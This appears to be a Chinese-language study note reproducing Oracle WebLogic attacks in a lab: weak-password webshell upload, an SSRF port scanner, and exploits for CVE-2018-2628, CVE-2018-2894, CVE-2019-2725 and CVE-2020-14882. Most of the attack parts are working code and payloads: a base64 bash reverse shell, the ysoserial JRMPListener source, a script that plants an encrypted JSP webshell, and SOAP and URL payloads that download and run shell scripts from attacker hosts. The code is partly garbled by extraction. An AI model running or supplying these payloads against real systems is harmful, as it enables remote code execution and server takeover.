中间件简绍 常见的中间件 
apache
nginx
iis
tomcat
weblogic
jboss
 
作用是:让一台计算机有处理网站的能力
weblogic  javaee中间件(我们国家使用这个的频率很高,而且很多大厂每年争这个漏洞)
jboss javaee中间件
Weblogic 简介 
  WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间  件,确切的说是一个基于JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部  署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java  Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。  
 
javaee就是java的企业版
特征 
默认端口:7001
控制后台:http://ip:7001/console 
 
通过404判断是否是Weblogic
历史漏洞 WebLogic全系漏洞分析截至20230612-上 - FreeBuf网络安全行业门户 
漏洞发现 
fofa
  fofa:app=”BEA-WebLogic-Server” &&  country!=”CN”  
 
默认端口是7001
批量漏洞扫描
https://github.com/rabbitmask/WeblogicScan 
  https://github.com/0xn0ne/weblogicScanner 
 
 
环境搭建   https://github.com/vulhub/vulhub/tree/master/weblogic   
历史漏洞复现 WeakPassword 
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的户名密码
 
相关弱口令 
  https://cirt.net/passwords?criteria=weblogic   
 
  账号:weblogic  密码:Oracle@123  
 
复现 
先使用蚁剑生成一个jsp木马
保存为jsp,然后使用
然后登录console后台
上载文件
后面就一直下一步就可以了
最后完成
上传成功之后,访问
路径为:
war包名(不带war)/jsp名(要带jsp)
 
使用蚁剑连接就行
 
CVE-2014-4210 这个漏洞是一个ssrf 漏洞
简绍   Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中Redis、Fastcgi 等脆弱组件
 漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp  页面中,可以导致 SSRF,用来攻击内网  中一些redis和fastcgi之类的脆弱组件   
由于redis 的传输协议是文本协议,所以直接可以通过http 进行攻击
FastCGI 通过构造符合FastCGI 协议的恶意请求,直接与后端服务通信 
漏洞产生原因 该漏洞存在于WebLogic的UDDI Explorer组件中的SearchPublicRegistries.jsp页面。UDDI(Universal Description, Discovery, and Integration)是一种用于发现Web服务的技术。
内网存活探测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  contextlibimport  itertoolsimport  requests"http://122.114.225.18:4012/uddiexplorer/SearchPublicRegistries.jsp" 6378 ,6379 ,22 ,25 ,80 ,8080 ,8888 ,8000 ,7001 ,7002 ]for  i, port in  itertools.product(range (1 , 255 ), ports):dict ("name" ,"sdf" ,"Business+location" ,"Search" ,f"http://172.19.0.{i} :{port} " ,with  contextlib.suppress(Exception):3 )if  'could not connect over HTTP to server'  not  in  r.text and  'No route to host'  not  in  r.text:print (f'[*] http://172.19.0.{i} :{port} ' )
ssrf 攻击redis Redi 传输协议是-resp 协议
在攻击的进程中,可以通过dict/http  进行端口的一个扫描
题外话:获取公网IP 
curl cip.cc
 
CVE-2018-2628 漏洞简介 Weblogic Server WLS Core Components反序列化命令执行漏洞 (CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令
T3协议是Oracle WebLogic Server中的一种专有协议,用于在客户端和服务器之间进行通信。它建立在TCP/IP协议之上,是WebLogic Server的默认通信协议,主要用于处理Java客户端和WebLogic Server之间的交互。T3协议也称为丰富套接字 ,是BEA内部协议,功能丰富,可扩展性好。它是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。
 
影响版本 
Weblogic 10.3.6.0
 
漏洞成因 攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
rmi 使用黑名单限制 
T3 协议默认开启 
 
 
T3 协议和反序列化耦合性缺陷 weblogic  T3 协议在实现RMI 通信时,强制绑定java 远程反序列化机制。
当攻击者通过T3 协议发送恶意构造的序列化数据的时候,服务端会直接调用ObjectInputStream 类的readObject() 方法进行反序列化 
关键代码
1 2 3 4 ObjectInputStream  ois  =  new  ObjectInputStream (socket.getInputStream());Object  obj  =  ois.readObject(); 
动态类加载绕过黑名单 Oracle 采用黑名单的方式过滤已经知道的危险类 AnnotationInvocationHandler 但是存在两个关键的缺陷
协议层漏洞触发条件 当攻击者通过T3协议发送包含上述恶意对象的序列化数据时,WebLogic的反序列化过程会依次执行:
解析JRMP Client请求,建立到攻击者控制的JRMP Listener连接
通过RMI动态加载远程恶意类字节码
执行Transformer调用链,最终通过Runtime.getRuntime().exec()实现命令执行
 
攻击流程 搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com) 
在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作
攻击者开启JRMP Server监听(对应您描述的第1步) 
攻击者向WebLogic发送恶意T3协议数据包(触发目标作为JRMP Client) 
目标服务器收到攻击payload后,作为JRMP Client主动连接攻击者的JRMP Server 
攻击者的JRMP Server向目标服务器发送二次反序列化payload(CommonsCollections1的链) 
目标服务器在反序列化时触发Transformer等类的利用链执行命令 
 
 
漏洞检测 
将url.txt 中的目标改为自己的目标
漏洞复现 其实根据上面的信息,我们就可以推断出整个流程
这里我们使用工具进行攻击
Lighird/CVE-2018-2628: CVE-2018-2628漏洞工具包 (github.com) 
创建一个JRMP Server 端
1 java  -cp ysoserial-0 .1 -cve-2018 -2628 -all .jar ysoserial.exploit.JRMPListener 10090  Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}" 
java -cp 是一条命令行指令,用于设置 Java 应用程序运行时的类路径(classpath)。Classpath 是一个或多个目录、JAR 文件或其他归档文件的列表,Java 虚拟机(JVM)会在这些位置查找用户类、第三方库以及其他依赖项。当你运行一个 Java 程序时,JVM 需要知道所有必需的类和库的位置,而 -cp 参数就是用来指定这些位置的。
ysoserial.exploit.JRMPListener 这个可以通过java -jar ysoserial-0.1-cve-2018-2628-all.jar 查看 
10090 服务端的端口
Jdk7u21  为机器的jdk版本  如果jdk版本>1.7,则直接填写Jdk7u21即可
 
生成payload 
1 java  -jar ysoserial-0 .1 -cve-2018 -2628 -all .jar JRMPClient2 192.168.79.137:10090  | xxd -p | tr -d $'\n' && echo
修改exp 
开启nc 监听反弹的shell 
运行脚本
会有点慢,需要等一下
 
工具的调用过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 package  ysoserial.exploit;import  java.io.BufferedInputStream;import  java.io.BufferedOutputStream;import  java.io.DataInputStream;import  java.io.DataOutputStream;import  java.io.IOException;import  java.io.InputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.io.ObjectStreamClass;import  java.io.OutputStream;import  java.io.Serializable;import  java.net.InetSocketAddress;import  java.net.ServerSocket;import  java.net.Socket;import  java.net.SocketException;import  java.net.URL;import  java.rmi.MarshalException;import  java.rmi.server.ObjID;import  java.rmi.server.UID;import  java.util.Arrays;import  javax.management.BadAttributeValueExpException;import  javax.net.ServerSocketFactory;import  javassist.ClassClassPath;import  javassist.ClassPool;import  javassist.CtClass;import  sun.rmi.transport.TransportConstants;import  ysoserial.payloads.ObjectPayload.Utils;import  ysoserial.payloads.util.Reflections;@SuppressWarnings  ( {"restriction" public  class  JRMPListener  implements  Runnable  {private  int  port;private  Object payloadObject;private  ServerSocket ss;private  Object  waitLock  =  new  Object ();private  boolean  exit;private  boolean  hadConnection;private  URL classpathUrl;public  JRMPListener  ( int  port, Object payloadObject )  throws  NumberFormatException, IOException {this .port = port;this .payloadObject = payloadObject;this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port);public  JRMPListener  (int  port, String className, URL classpathUrl)  throws  IOException {this .port = port;this .payloadObject = makeDummyObject(className);this .classpathUrl = classpathUrl;this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port);public  boolean  waitFor  ( int  i )  {try  {if  ( this .hadConnection ) {return  true ;"Waiting for connection" );synchronized  ( this .waitLock ) {this .waitLock.wait(i);return  this .hadConnection;catch  ( InterruptedException e ) {return  false ;public  void  close  ()  {this .exit = true ;try  {this .ss.close();catch  ( IOException e ) {}synchronized  ( this .waitLock ) {this .waitLock.notify();public  static  final  void  main  ( final  String[] args )  {if  ( args.length < 3  ) {" <port> <payload_type> <payload_arg>" );1 );return ;final  Object  payloadObject  =  Utils.makePayloadObject(args[ 1  ], args[ 2  ]);try  {int  port  =  Integer.parseInt(args[ 0  ]);"* Opening JRMP listener on "  + port);JRMPListener  c  =  new  JRMPListener (port, payloadObject);catch  ( Exception e ) {"Listener error" );1 ], payloadObject);public  void  run  ()  {try  {Socket  s  =  null ;try  {while  ( !this .exit && ( s = this .ss.accept() ) != null  ) {try  {5000 );InetSocketAddress  remote  =  (InetSocketAddress) s.getRemoteSocketAddress();"Have connection from "  + remote);InputStream  is  =  s.getInputStream();InputStream  bufIn  =  is.markSupported() ? is : new  BufferedInputStream (is);4 );DataInputStream  in  =  new  DataInputStream (bufIn);int  magic  =  in.readInt();short  version  =  in.readShort();if  ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {continue ;OutputStream  sockOut  =  s.getOutputStream();BufferedOutputStream  bufOut  =  new  BufferedOutputStream (sockOut);DataOutputStream  out  =  new  DataOutputStream (bufOut);byte  protocol  =  in.readByte();switch  ( protocol ) {case  TransportConstants.StreamProtocol:if  ( remote.getHostName() != null  ) {else  {case  TransportConstants.SingleOpProtocol:this .payloadObject);break ;default :case  TransportConstants.MultiplexProtocol:"Unsupported protocol" );continue ;catch  ( InterruptedException e ) {return ;catch  ( Exception e ) {finally  {"Closing connection" );finally  {if  ( s != null  ) {if  ( this .ss != null  ) {this .ss.close();catch  ( SocketException e ) {return ;catch  ( Exception e ) {private  void  doMessage  ( Socket s, DataInputStream in, DataOutputStream out, Object payload )  throws  Exception {"Reading message..." );int  op  =  in.read();switch  ( op ) {case  TransportConstants.Call:break ;case  TransportConstants.Ping:break ;case  TransportConstants.DGCAck:UID  u  =  UID.read(in);break ;default :throw  new  IOException ("unknown transport op "  + op);private  void  doCall  ( DataInputStream in, DataOutputStream out, Object payload )  throws  Exception {ObjectInputStream  ois  =  new  ObjectInputStream (in) {@Override protected  Class<?> resolveClass ( ObjectStreamClass desc ) throws  IOException, ClassNotFoundException {if  ( "[Ljava.rmi.server.ObjID;" .equals(desc.getName())) {return  ObjID[].class;else  if  ("java.rmi.server.ObjID" .equals(desc.getName())) {return  ObjID.class;else  if  ( "java.rmi.server.UID" .equals(desc.getName())) {return  UID.class;throw  new  IOException ("Not allowed to read object" );try  {catch  ( java.io.IOException e ) {throw  new  MarshalException ("unable to read objID" , e);if  ( read.hashCode() == 2  ) {"Is DGC call for "  + Arrays.toString((ObjID[])ois.readObject()));"Sending return with payload for obj "  + read);ObjectOutputStream  oos  =  new  JRMPClient .MarshalOutputStream(out, this .classpathUrl);new  UID ().write(oos);BadAttributeValueExpException  ex  =  new  BadAttributeValueExpException (null );"val" , payload);this .hadConnection = true ;synchronized  ( this .waitLock ) {this .waitLock.notifyAll();@SuppressWarnings({"deprecation"}) protected  static  Object makeDummyObject  (String className)  {try  {ClassLoader  isolation  =  new  ClassLoader () {};ClassPool  cp  =  new  ClassPool ();new  ClassClassPath (Dummy.class));CtClass  clazz  =  cp.get(Dummy.class.getName());return  clazz.toClass(isolation).newInstance();catch  ( Exception e ) {return  new  byte [0 ];public  static  class  Dummy  implements  Serializable  {private  static  final  long  serialVersionUID  =  1L ;
通过上面的漏洞复现过程中,进行分析
1 java -cp ysoserial-0.1 -cve-2018 -2628 -all.jar ysoserial.exploit.JRMPListener 10090  Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}" 
首先调用了 JRMPListener 开启了一个JRMP server 的服务
然后指出了监听的端口,jdk 的版本,执行的命令
对应的代码在 main 中进行体现
1 2 3 4 5 6 7 if  ( args.length < 3  ) {" <port> <payload_type> <payload_arg>" );exit (-1 );1  ], args[ 2  ]);
本质上就是开启了一个JRMP server 
1 java -jar ysoserial-0.1 -cve-2018 -2628 -all.jar JRMPClient2 192.168 .79 .137 :10090  | xxd -p | tr -d $'\n'  && echo
然后可以这里选择的是client2 的原因是
JRMPClient2通过ActivationGroupImpl构造远程对象引用,利用ActivationID机制触发二次反序列化,这种非标准实现更易绕过基于常规RMI调用的防护机制。
 
JRMPClient基于java.rmi.registry.Registry接口实现,对应标准RMI注册表通信
JRMPClient2使用java.rmi.activation.Activator接口,属于RMI对象激活机制
一些疑问和解答 为什么不由 python 脚本直接发送执行命令的t3 协议的数据包,而是需要走JRMP server 去发送 
黑名单绕过
weblogic 部署的时候可能会部署反序列化黑名单。如果是直接包含恶意的反序列化数据包可能会被直接拦截
通过JRMP 协议诱导服务器主动连接攻击者的监听器,利用RMI 动态类的加载方式,可以使 weblogic 从攻击者制定的远程地址加载恶意类
完全的规避本地黑名单检测
协议特性利用
二次反序列化触发点:JRMP 的RemoteObjectInvocationHandler 在建立的时候必然会触发反序列化操作 
上下文权限继承,JRMP 建立执行的代码权限继承上下文,一般java 应用的启动权限都会挺高的 
网络穿透,由服务器连接JRMP server 的过程是一个主动连接的过程,一般防火墙会通过weblogic 主动建立的连接 
 
Python脚本生成的初始Payload(约300-500字节)仅包含JRMP连接指令,而真实攻击代码(如内存马注入逻辑)通过后续JRMP通道传输,这种分阶段传递方式具有:
规避WAF检测 :短小的初始Payload难以被规则引擎识别 
动态调整能力 :攻击者可实时更换JRMP监听器中的最终攻击代码 
隐蔽性增强 :实际恶意代码不落盘,全程内存驻留 
 
 
关键阶段对比  :
阶段 
直接发送EXP 
JRMP转发模式 
 
 
载荷位置 
包含在首次请求中 
首包仅含连接指令,恶意代码在二次连接传输 
 
黑名单对抗 
依赖0day绕过 
利用RMI Codebase机制天然绕过 
 
网络审计可见性 
完整攻击代码一次性暴露 
仅暴露JRMP连接行为(类似正常Java通信) 
 
攻击成功率 
依赖具体版本补丁状况 
通用性更强(所有未修复版本通杀) 
 
CVE-2018-2894 介绍 
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,Web Service Test Page  在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp 文件,进而获取  服务器权限。  
 
环境搭建 利用vulhub里面的
漏洞复现 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import  reimport  sysimport  timeimport  argparseimport  requestsimport  tracebackimport  xml.etree.ElementTree as  ETdef  get_current_work_path (host ):f"{host} /ws_utc/resources/setting/options/general" 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0' }try :if  request.status_code == 404 :f"[-] {host}   don't exists CVE-2018-2894" )elif  "Deploying Application" .lower() in  request.text.lower():print ("[*] First Deploying Website Please wait a moment ..." )20 )if  "</defaultValue>"  in  request.content.decode():"section" ).find("options" )for  e in  value:for  sub in  eif  e.tag == "parameter"  and  sub.tag == "defaultValue" except  requests.ConnectionError:f"[-] Cannot connect url: {geturl} " )if  values:return  values[0 ]print ("[-] Cannot get current work path\n" )def  get_new_work_path (host ):"/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" if  "user_projects"  in  origin_work_path:if  "\\"  in  origin_work_path:"/" , "\\" )"user_projects" )] + "user_projects\\domains" len (current_work_home.split("\\" ))"\\" )[dir_len]"\\"  + domain_name + workselse :"user_projects" )] + "user_projects/domains" len (current_work_home.split("/" ))"/" )[dir_len]f"/{domain_name} {works} " else :print (f"[*] cannot handle current work home dir: {current_work_home} " )return  current_work_homedef  set_new_upload_path (host, path ):"setting_id" : "general" ,"BasicConfigOptions.workDir" : path,"BasicConfigOptions.proxyHost" : "" ,"BasicConfigOptions.proxyPort" : "80" }f"{host} /ws_utc/resources/setting/options" , data=data, headers=headers)if  "successfully"  in  request.content.decode():return  True print ("[-] Change New Upload Path failed" )def  upload_webshell (host, uri ):"ks_edit_mode" : "false" ,"ks_password_front" : password,"ks_password_changed" : "true" ,"ks_filename" : ("test.jsp" , upload_content)if  match  := re.findall("<id>(.*?)</id>" , response):match [-1 ]f"{host} /ws_utc/css/config/keystore/{str (tid)} _test.jsp" if  "test"  in  requests.get(shell_path, headers=headers).content.decode():print (f"[+] {host}  exists CVE-2018-2894" )print (f"[+] Check URL: {shell_path}  " )else :print (f"[-] {host}   don't exists CVE-2018-2894" )else :print (f"[-] {host}   don't exists CVE-2018-2894" )if  __name__ == "__main__" :"test" "/ws_utc/resources/setting/keystore" "-t" , dest='target' , default="http://127.0.0.1:7001" , type =str ,help ="target, such as: http://example.com:7001" )'<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>' 'Content-Type' : 'application/x-www-form-urlencoded' ,'X-Requested-With' : 'XMLHttpRequest' , }if  len (sys.argv) == 1 :'-h' )'/' )if  "://"  not  in  target:f"http://{target} " try :except  Exception as  e:print ("[-] Error: \n" )
执行exp
尝试访问
使用冰蝎连接
密码为:rebeyond
 
手动复现 比较麻烦
先获取一下管理员密码用于设置
1 docker-compose logs | grep password 
尝试登录
Oracle WebLogic Server 管理控制台 
利用密码登录之后
设置
ws_utc/config.do
修改为
1 /u01/ oracle/user_projects/ domains/base_domain/ servers/AdminServer/ tmp/_WL_internal/ com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/ war/css
因为这个目录是不需要密码的
利用
在ws_utc/config.do 安全中上传大马
注意是jsp 文件
审查元素获取时间戳
连接
访问http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名] 
http://192.168.79.167:7001/ws_utc/css/config/keystore/1720189002500_ant.jsp 
 
 
CVE-2019-2725 这个是一个xml 反序列化漏洞
序列化和反序列化 由于java程序都会将java类转变成为内存中的字节码,就是.class文件,但是java是主要要后端,就需要使用网络通信,就需要转变成为可传输的形式
java内存中的对象  -> 字符串(字节码):序列化
|网络传输|
字符串(字节码)->  内存中的java对象:反序列化
 
漏洞描述   Weblogic反序列化远程代码执行漏洞:  
cnvd-c-2019-48814
cve-2019-2725
 
  由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请  求,利用该漏洞获取服务器权限,实现远程代码执行。  
影响版本 
Oracle WebLogic  Server 10.*  
Oracle WebLogic Server 12.1.3
 
影响组件 
bea_wls9_async_response.war  
wsat.war  
 
漏洞判断  判断不安全组件是否开启   
通过访问路径/_async/AsyncResponseService  
wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响
查看网站路径 
/_async/AsyncResponseService?info
 
漏洞利用   https://github.com/TopScrew/CVE-2019-2725   
工具利用 
或者是
尝试反弹shell 
手动利用 
将攻击脚本上传至攻击机
准备一个冰蝎的jsp 脚本 然后添加后缀.txt
然后开启一个http 服务
抓包,然后放入poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 POST  /_async/AsyncResponseService  HTTP/1.1 Host :  192.168.132.144:58832User-Agent :  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0Accept :  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language :  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding :  gzip, deflateDNT :  1Cookie :  vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064Upgrade-Insecure-Requests :  1Cache-Control :  max-age=0Content-Length :  854SOAPAction :Accept :  */*User-Agent :  Apache-HttpClient/4.1.1 (java 1.5)Connection :  keep-alivecontent-type :  text/xml<soapenv:Envelope  xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:wsa ="http://www.w3.org/2005/08/addressing"  xmlns:asy ="http://www.bea.com/async/AsyncResponseService" ><soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext  xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <void  class ="java.lang.ProcessBuilder" > <array  class ="java.lang.String"  length ="3" > <void  index ="0" > <string > /bin/bash</string > </void > <void  index ="1" > <string > -c</string > </void > <void  index ="2" > <string > wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string > </void > </array > <void  method ="start" /> </void > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope > 
连接
 
漏洞修复 
对应的补丁包
https://www.oracle.com/security-alerts/alert-cve-2019-2725.html 
 
升级本地的jdk
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因  此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。  
 
配置URL访问控制策略  
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。  
删除不安全文件
 
   删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。  
一些疑问和解答 什么事soap 报文 SOAP(Simple Object Access Protocol)是一种基于XML的协议,用于在网络上交换结构化的信息。它提供了一组规则来定义消息的格式和处理方法,使得不同操作系统上的应用程序可以通过HTTP或SMTP等传输协议进行通信。
SOAP报文是使用SOAP协议进行通信时的数据载体,它本质上是一个XML文档,遵循SOAP规范定义的特定结构。一个完整的SOAP报文通常包括以下几个部分:
信封(Envelope) :这是SOAP报文的根元素,用于将整个消息封装起来,标识该消息为一个SOAP消息。头(Header) :可选元素,包含与消息相关的额外需求信息,如认证、事务管理等。体(Body) :必需元素,包含了实际要发送的消息内容,比如请求或响应的细节。错误(Fault) :在SOAP Body内,当发生错误时用来返回错误信息。它可以携带关于错误代码、错误消息、角色以及详细错误信息等内容。 
SOAP由于其严格的规范和对复杂安全功能的支持,在企业级应用集成和服务导向架构(SOA)中被广泛应用。然而,随着RESTful Web服务的流行,因为后者更轻量且易于使用,SOAP的使用场景有所减少。但即便如此,在需要高安全性、可靠性和标准化操作的环境中,SOAP仍然是一个重要的选择。
为什么使用这个exp 就可以执行命令? 
soap 报文注入
POC构造了一个包含<work:WorkContext>标签的SOAP请求,该标签允许WebLogic处理工作区上下文。攻击者在此标签内嵌入Java类java.lang.ProcessBuilder,并定义其参数为/bin/bash -c及wget下载指令。此结构在WebLogic解析时被识别为合法的序列化对象。
恶意对象反序列化触发
WebLogic在处理SOAP报文时,未对WorkContext中的XML内容进行安全过滤,直接触发反序列化操作。ProcessBuilder类在实例化时会执行其start()方法,导致系统执行预设的Shell命令。
远程代码执行链
<array>标签中的三段命令通过拼接形成完整的Shell指令:
/bin/bash调用系统Shell解释器-c参数允许后续字符串作为命令执行wget从攻击者控制的服务器下载Webshell(如JSP文件)到WebLogic可访问路径,实现持久化控制。 
WebLogic的异步通信服务(AsyncResponseService)未对XML反序列化过程施加严格的安全限制,使得攻击者可通过构造特定XML节点调用危险类(如ProcessBuilder)。这种设计缺陷导致攻击者绕过常规权限校验,直接操作底层系统。
 
xml 反序列化的过程 
恶意对象构造阶段 <java>根节点、<object>类实例化标签及<void>方法调用标签。例如定义ProcessBuilder类实例时,通过<array>标签注入命令参数,最终通过<void method="start">触发进程执行。
动态反射解析阶段 <object class="java.lang.ProcessBuilder">节点时,解析器会通过Class.forName()加载目标类,利用Constructor.newInstance()实例化对象。参数赋值通过<array>标签内的<string>元素完成,形成完整的命令参数数组。
1 2 3 4 5 public  ProcessBuilder (String... command)  {this .command = new  ArrayList <>(command.length);for  (String arg : command)this .command.add(arg);
方法链式触发阶段 <void method="start">标签,系统会调用ProcessBuilder实例的start()方法,此时已构造完成的命令参数(如calc.exe)将被传递给底层Runtime.getRuntime().exec(),实现系统级命令执行。
 
CVE-2020-14882 漏洞描述   Weblogic 管理控制台未授权远程命令执行漏洞  
 CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;  
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令  
  使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响范围 
WebLogic 10.3.6.0
 
漏洞环境   docker-compose.yml  
1 2 3 4 5 6 version: '2' 12.2 .1.3 -2018 "7001:7001" 
漏洞复现 CVE-2020-14882 这个是一个未授权访问
CVE-2020-14883 下面这个就是反弹shell,原理就是运用java的命令执行函数造成的
java 唯一一个命令执行函数:
java.lang.Runtime.getRuntime().exec()
 
下面是payload
创建文件夹
  http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec   (‘touch%20/tmp/august’);”)  
 
因为这个是i靶场我们可以看这个文件是否创建
成功创建
这个相当于就是命令执行了,现在想反弹shell 可以敲反弹shell的命令,也可以直接下载反弹shell的脚本
现在我的vps模拟攻击机
先访问一下是否成功
现在攻击靶机
  http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec   (‘curl http://8.130.123.25:8000/linux_shell.sh  -o /tmp/shell.sh’);”)  
 
然后看一下是否成功
然后使用bash反弹shell
 http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec   (‘/bin/bash /tmp/shell.sh’);”)  
 
现在复现一下第二种方法,这个方式主要使用的是xml文件,而且对所有Weblogic都是有效的,原理就是weblogic会解析xml中我们插入的命令
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"  encoding="UTF-8"  ?> <beans  xmlns ="http://www.springframework.org/schema/beans"     xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"     xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean  id ="pb"  class ="java.lang.ProcessBuilder"  init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[touch /tmp/success2]]></value > </list > </constructor-arg > </bean > </beans > 
download.xml
